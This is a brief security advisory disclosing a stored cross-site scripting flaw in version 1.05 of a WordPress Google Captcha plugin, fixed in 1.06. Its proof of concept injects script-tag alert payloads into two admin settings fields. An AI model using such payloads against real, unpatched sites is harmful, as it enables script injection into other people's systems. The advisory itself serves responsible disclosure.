Plugin Name : Google Captcha (reCAPTCHA)
 
Effected Version : 1.05 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
The following fields put the payload as below
 
http://localhost/wp-admin/admin.php?page=google-captcha.php
 
gglcptch_public_key = “><script>alert(1)</script>
 
gglcptch_private_key = “><script>alert(2)</script>
 
 
Vulnerable Parameter : gglcptch_public_key, gglcptch_private_key
 
Type of XSS :  Stored
 
Fixed in : 1.06
 
http://wordpress.org/plugins/google-captcha/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
The Google Captcha plugin allows you to implement a super security captcha form into web forms. Google Captcha is a free CAPTCHA service that helps to digitize books, newspapers and old time radio shows. This captcha can be used for login, registration, password recovery, comments forms.